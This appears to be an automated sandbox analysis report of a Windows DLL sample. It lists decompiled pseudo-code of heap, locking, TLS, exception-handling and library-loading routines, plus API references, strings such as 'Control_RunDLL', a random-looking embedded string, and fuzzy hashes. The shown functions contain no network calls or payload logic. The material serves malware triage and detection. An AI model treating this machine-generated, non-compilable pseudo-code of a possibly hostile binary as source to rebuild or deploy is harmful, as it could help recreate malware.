ReleaseSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC553
GetProcessHeap.KERNEL32 ref: 6EBEC562
HeapAlloc.KERNEL32(02FF0000,00000000,00000020), ref: 6EBEC575
ReleaseSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC5C7

Strings

failed to generate unique thread ID: bitspace exhausted, xrefs: 6EBEC5D4
called `Option::unwrap()` on a `None` value, xrefs: 6EBEC5F7

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 633fd1c4283358dc7a08db38363583d19acae5019178c4cbe2da2f42b574a14f
Instruction ID: 6c0c3abd89ac8126f576093710075661eedb7967d5ebd2519a343e0e44517958
Opcode Fuzzy Hash: 633fd1c4283358dc7a08db38363583d19acae5019178c4cbe2da2f42b574a14f
Instruction Fuzzy Hash: 3331E2B0D003888FEB108FD4C9597DEBFB4EB89368F204129D4256B781E7759945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EBE10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6EBF3950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6ec3e128; // 0x2ff0000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6ec2da37]");
						asm("movsd xmm1, [0x6ec2da30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6ec3e128; // 0x2ff0000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6ec2da47]");
								asm("movsd xmm1, [0x6ec2da3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6EC09300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6EC09280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6EBFD4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6EBFBE30(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6ec3e128, 0, _v36);
								}
								HeapFree( *0x6ec3e128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6ec3e128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6EC092F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6EBE1000(_v52, _v48);
						return E6EBE1000(_v40, 0xf);
					} else {
						 *0x6ec3e128 = _t45;
						goto L3;
					}
				}
				L21:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6EBE10D6
HeapAlloc.KERNEL32(02FF0000,00000000,0000000F), ref: 6EBE10ED
GetProcessHeap.KERNEL32(02FF0000,00000000,0000000F), ref: 6EBE111F
HeapAlloc.KERNEL32(02FF0000,00000000,00000010,02FF0000,00000000,0000000F), ref: 6EBE1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,02FF0000,00000000,0000000F), ref: 6EBE120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,02FF0000,00000000,0000000F), ref: 6EBE121B

Strings

Control_RunDLL, xrefs: 6EBE1102
Control_RunDLL, xrefs: 6EBE114B

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 95f3dfaa6cceb389db23a34ad715e8430165a67f740319a608ad6ff06de1bac2
Instruction ID: 39ea4207604d3c6fe9760f731eb672fb939ab75b6da92e114f6a9315dcee55af
Opcode Fuzzy Hash: 95f3dfaa6cceb389db23a34ad715e8430165a67f740319a608ad6ff06de1bac2
Instruction Fuzzy Hash: B8519B75D10649DFDB00CFE4CC80BEEBBB9FF89344F248529E8056B642D771A8458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFEF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EBFEF20(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E6EC09200(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x6ec3d804;
				E6EBFEEE0(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x6ec3d804);
				E6EC0021C(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E6EC003A0(_t80, 0xfffffffe, _t103, 0x6ec3d804);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E6EC00340(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E6EBFEEE0(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x6ec35704;
											if(__eflags != 0) {
												_t75 = E6EC09060(__eflags, 0x6ec35704);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x6ec35704; // 0x6ebff131
													 *0x6ec0a154(_a4, 1);
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E6EC00380(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E6EC003A0(_t68, _t100, _t103, 0x6ec3d804);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E6EBFEEE0(_t80, _t95, _t100, _t103, _v12);
										E6EC00360();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x6ebfef20
0x6ebfef27
0x6ebfef2b
0x6ebfef2c
0x6ebfef32
0x6ebfef3e
0x6ebfef40
0x6ebfef46
0x6ebfef46
0x6ebfef4f
0x6ebfef51
0x6ebfef54
0x6ebfef57
0x6ebfef5f
0x6ebfef64
0x6ebfef67
0x6ebfef6a
0x6ebfef71
0x6ebfefcd
0x6ebfefd0
0x6ebfefd8
0x6ebfefdf
0x00000000
0x6ebfefdf
0x00000000
0x6ebfef73
0x6ebfef73
0x6ebfef79
0x6ebfef7f
0x6ebfef85
0x6ebfeff0
0x6ebfeff9
0x6ebfef87
0x6ebfef87
0x6ebfef87
0x6ebfef8d
0x6ebfef90
0x6ebfef93
0x6ebfef96
0x6ebfef99
0x6ebfef9e
0x6ebfefb4
0x00000000
0x6ebfefa0
0x6ebfefa0
0x6ebfefa2
0x6ebfefa7
0x6ebfefa9
0x6ebfefac
0x6ebfefae
0x6ebfefc4
0x6ebfefe4
0x6ebfefe4
0x6ebfefe8
0x00000000
0x6ebfefb0
0x6ebfefb0
0x6ebfeffa
0x6ebfeffd
0x6ebff003
0x6ebff005
0x6ebff00c
0x6ebff013
0x6ebff018
0x6ebff01b
0x6ebff01d
0x6ebff01f
0x6ebff02c
0x6ebff032
0x6ebff034
0x6ebff037
0x6ebff037
0x6ebff03a
0x6ebff03a
0x6ebff00c
0x6ebff040
0x6ebff042
0x6ebff047
0x6ebff04a
0x6ebff04d
0x6ebff055
0x6ebff059
0x6ebff05e
0x6ebff05e
0x6ebff061
0x6ebff065
0x6ebff068
0x6ebff078
0x6ebff07d
0x6ebff081
0x6ebff084
0x6ebff087
0x6ebff089
0x6ebff08f
0x6ebff092
0x6ebff092
0x6ebff095
0x6ebff095
0x6ebff097
0x6ebff099
0x00000000
0x00000000
0x6ebff09b
0x6ebff09d
0x00000000
0x6ebff09f
0x6ebff09f
0x6ebff0a2
0x6ebff0a5
0x00000000
0x6ebff0a7
0x6ebff0a7
0x6ebff0aa
0x6ebff0ad
0x6ebff0af
0x00000000
0x6ebff0b1
0x00000000
0x6ebff0b1
0x6ebff0af
0x6ebff0a5
0x00000000
0x6ebff09d
0x6ebff0b3
0x6ebff0b5
0x6ebff0b5
0x6ebff0b9
0x6ebff08b
0x6ebff08b
0x6ebff08b
0x6ebff08e
0x6ebff08e
0x6ebfefb2
0x00000000
0x6ebfefb2
0x6ebfefb0
0x6ebfefae
0x00000000
0x6ebfefb7
0x6ebfefb7
0x6ebfefb9
0x6ebfefc0
0x00000000
0x6ebfefc2
0x00000000
0x6ebfefc0
0x6ebfef85
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6EBFEF57
___except_validate_context_record.LIBVCRUNTIME ref: 6EBFEF5F
_ValidateLocalCookies.LIBCMT ref: 6EBFEFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EBFF013
_ValidateLocalCookies.LIBCMT ref: 6EBFF068

Strings

csm, xrefs: 6EBFEFFD

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c0099106a3ded2c8ce5482a9f3f58954eeae6a97d2f684478e4d1bac9554bb94
Instruction ID: 44aea86af069157e49a0385525e9620877b45a7e709075d0644cb3ffeb9cac5c
Opcode Fuzzy Hash: c0099106a3ded2c8ce5482a9f3f58954eeae6a97d2f684478e4d1bac9554bb94
Instruction Fuzzy Hash: E3416334A10259EFDF00CFA8C850AEE7FB5FF45328F148555E8149B351E732AA1ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF2960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6EBF2960(void* __ebx, long* __ecx, void* __edi, void* __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				long _v44;
				char* _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				long _v76;
				intOrPtr _v80;
				char _v84;
				long _v88;
				intOrPtr _v92;
				long _v100;
				intOrPtr _v104;
				char _v108;
				void* __ebp;
				long _t41;
				void* _t47;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void _t56;
				void* _t65;
				long _t70;
				long* _t73;
				void* _t77;
				intOrPtr _t78;
				void* _t87;

				_t78 = _t77 - 0x5c;
				_v32 = _t78;
				_v20 = 0xffffffff;
				_v24 = E6EBF3A60;
				_t73 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				__imp__AcquireSRWLockExclusive(0x6ec3e114, __esi, __edi, __ebx);
				_v36 = 0x6ec3e114;
				_t70 =  *__ecx;
				if(_t70 != 0) {
					L10:
					__imp__ReleaseSRWLockExclusive(_v36);
					 *[fs:0x0] = _v28;
					return _t70;
				} else {
					_t7 =  &(_t73[1]); // 0x6ebf2f50
					_t56 =  *_t7;
					_t41 = TlsAlloc();
					if(_t41 == 0xffffffff) {
						_v20 = 0;
						E6EC094E0(_t56, "assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx", 0x2e, _t70, _t73, __eflags, 0x6ec3061c);
						_t78 = _t78 + 4;
						asm("ud2");
						goto L12;
					} else {
						_t70 = _t41;
						if(_t56 == 0) {
							L9:
							 *_t73 = _t70;
							if(_t70 == 0) {
								L12:
								_v108 = 0x6ec2ff5c;
								_v104 = 1;
								_v100 = 0;
								_v92 = 0x6ec2f570;
								_v84 = 0x6ec2fdb4;
								_v80 = 2;
								_v40 = 0;
								_v44 = 0;
								_v88 = 0;
								_v76 = 0;
								_v20 = 0;
								_v60 =  &_v108;
								_v56 = E6EBE2110;
								_v68 =  &_v60;
								_v64 = 1;
								_v52 = E6EBED0F0( &_v44, __eflags);
								_v48 =  &_v84;
								E6EBED2B0( &_v52);
								asm("int 0x29");
								asm("ud2");
								goto L13;
							} else {
								goto L10;
							}
						} else {
							_t51 =  *0x6ec3e128; // 0x2ff0000
							if(_t51 != 0) {
								L6:
								_t52 = HeapAlloc(_t51, 0, 0xc);
								_t87 = _t52;
								if(_t87 == 0) {
									goto L13;
								} else {
									 *_t52 = _t56;
									 *(_t52 + 4) = _t70;
									 *(_t52 + 8) = 0;
									_t65 = _t52;
									_t53 =  *0x6ec3e12c; // 0x0
									do {
										 *((intOrPtr*)(_t65 + 8)) = _t53;
										asm("lock cmpxchg [0x6ec3e12c], ecx");
									} while (_t87 != 0);
									goto L9;
								}
							} else {
								_t51 = GetProcessHeap();
								if(_t51 == 0) {
									L13:
									_t47 = E6EC092F0(_t56, 0xc, 4, _t70, _t73, __eflags);
									asm("ud2");
									__eflags =  &_a8;
									return E6EBEC6B0(_t47,  &_v36);
								} else {
									 *0x6ec3e128 = _t51;
									goto L6;
								}
							}
						}
					}
				}
			}

0x6ebf2966
0x6ebf2969
0x6ebf296c
0x6ebf2973
0x6ebf297a
0x6ebf2986
0x6ebf2989
0x6ebf2994
0x6ebf299a
0x6ebf29a1
0x6ebf29a5
0x6ebf2a15
0x6ebf2a18
0x6ebf2a21
0x6ebf2a30
0x6ebf29a7
0x6ebf29a7
0x6ebf29a7
0x6ebf29aa
0x6ebf29b3
0x6ebf2a31
0x6ebf2a47
0x6ebf2a4c
0x6ebf2a4f
0x00000000
0x6ebf29b5
0x6ebf29b5
0x6ebf29b9
0x6ebf2a0d
0x6ebf2a11
0x6ebf2a13
0x6ebf2a51
0x6ebf2a5a
0x6ebf2a61
0x6ebf2a68
0x6ebf2a6f
0x6ebf2a76
0x6ebf2a7d
0x6ebf2a84
0x6ebf2a88
0x6ebf2a8f
0x6ebf2a96
0x6ebf2a9d
0x6ebf2aa4
0x6ebf2aaa
0x6ebf2ab1
0x6ebf2ab4
0x6ebf2ac3
0x6ebf2ac6
0x6ebf2ac9
0x6ebf2ad3
0x6ebf2ad5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebf29bb
0x6ebf29bb
0x6ebf29c2
0x6ebf29d6
0x6ebf29db
0x6ebf29e0
0x6ebf29e2
0x00000000
0x6ebf29e8
0x6ebf29e8
0x6ebf29ea
0x6ebf29ed
0x6ebf29f4
0x6ebf29f6
0x6ebf2a00
0x6ebf2a00
0x6ebf2a03
0x6ebf2a03
0x00000000
0x6ebf2a00
0x6ebf29c4
0x6ebf29c4
0x6ebf29cb
0x6ebf2ad7
0x6ebf2ae1
0x6ebf2ae6
0x6ebf2af4
0x6ebf2b03
0x6ebf29d1
0x6ebf29d1
0x00000000
0x6ebf29d1
0x6ebf29cb
0x6ebf29c2
0x6ebf29b9
0x6ebf29b3

APIs

AcquireSRWLockExclusive.KERNEL32(6EC3E114), ref: 6EBF2994
TlsAlloc.KERNEL32 ref: 6EBF29AA
GetProcessHeap.KERNEL32 ref: 6EBF29C4
HeapAlloc.KERNEL32(02FF0000,00000000,0000000C), ref: 6EBF29DB
ReleaseSRWLockExclusive.KERNEL32(6EC3E114), ref: 6EBF2A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6EBF2A38

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: b524e011e6d6f240180864633c6cc23dbfbfb80bfff898c848abc3cca6dfa10b
Instruction ID: 7bcb68bfcde4fe26dbaa246fdcaeedb2c2ca2ec5a96b9852fba8f04a2ff2ba32
Opcode Fuzzy Hash: b524e011e6d6f240180864633c6cc23dbfbfb80bfff898c848abc3cca6dfa10b
Instruction Fuzzy Hash: AF4136B19003898FDB10CFE4D955B9EBFB4FF44318F104129E519AB281EB759949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EC042BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EC042BC(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x6ec3e860 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x6ec366b0 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x6ec3e860 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x6ec3e860 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E6EC01EF8(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E6EC01EF8(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x6ec042c5
0x6ec0435a
0x6ec042cd
0x6ec042cf
0x6ec042d9
0x6ec042de
0x6ec042eb
0x6ec04300
0x6ec04304
0x6ec0436a
0x6ec0436f
0x6ec04376
0x6ec0437a
0x6ec0437d
0x6ec0437d
0x6ec04383
0x6ec04383
0x6ec04365
0x6ec04369
0x6ec04369
0x6ec04306
0x6ec0430f
0x6ec04348
0x6ec04355
0x6ec04357
0x6ec04357
0x00000000
0x6ec04357
0x6ec04319
0x6ec0431e
0x6ec04323
0x00000000
0x00000000
0x6ec0432d
0x6ec04332
0x6ec04337
0x00000000
0x00000000
0x6ec0433c
0x6ec04342
0x6ec04346
0x00000000
0x00000000
0x00000000
0x6ec04346
0x6ec042e3
0x00000000
0x00000000
0x00000000
0x6ec042e9
0x6ec04363
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,6EC043C9,FFFDC801,00000400,?,00000000,00000001,?,6EC04542,00000021,FlsSetValue,6EC36BF8,6EC36C00,?), ref: 6EC0437D

Strings

ext-ms-, xrefs: 6EC04327
api-ms-, xrefs: 6EC04313

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b7355ed263723e6d07c895400c110713553039338a27285c2e03856d2175bd49
Instruction ID: 7b9e9d6bfd615f0766d8a2ae9c96d86e4b4ecd88b3fa4b5c4063d348af05291b
Opcode Fuzzy Hash: b7355ed263723e6d07c895400c110713553039338a27285c2e03856d2175bd49
Instruction Fuzzy Hash: C221E736A40715AFDB219AA6CC44A8F777CFB92764F125114ED25A7384F732ED02C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF3BF, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EBFF3BF(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x6ec3d820 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E6EC0057B(_t13, __eflags,  *0x6ec3d820);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EC005B6(_t14, __eflags,  *0x6ec3d820, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E6EC01CC1();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EC005B6(_t18, __eflags,  *0x6ec3d820, 0);
								} else {
									_t8 = E6EC005B6(_t18, __eflags,  *0x6ec3d820, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EC01C08(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x6ebff3bf
0x6ebff3c6
0x6ebff3d9
0x6ebff3e0
0x6ebff3e2
0x6ebff3e3
0x6ebff3e6
0x6ebff3ff
0x6ebff3ff
0x6ebff3e8
0x6ebff3e8
0x6ebff3ea
0x6ebff3f4
0x6ebff3fb
0x6ebff3fd
0x6ebff404
0x6ebff40d
0x6ebff410
0x6ebff411
0x6ebff413
0x6ebff427
0x6ebff427
0x6ebff430
0x6ebff415
0x6ebff41c
0x6ebff422
0x6ebff423
0x6ebff425
0x6ebff439
0x6ebff43b
0x6ebff43b
0x00000000
0x00000000
0x00000000
0x6ebff425
0x6ebff43e
0x00000000
0x00000000
0x00000000
0x6ebff3fd
0x6ebff3ea
0x6ebff446
0x6ebff450
0x6ebff3c8
0x6ebff3ca
0x6ebff3ca

APIs

GetLastError.KERNEL32(00000001,?,6EBFF101,6EBFCFA2,6EBFC7AC,?,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8,0000000C,6EBFCADD), ref: 6EBFF3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EBFF3DB
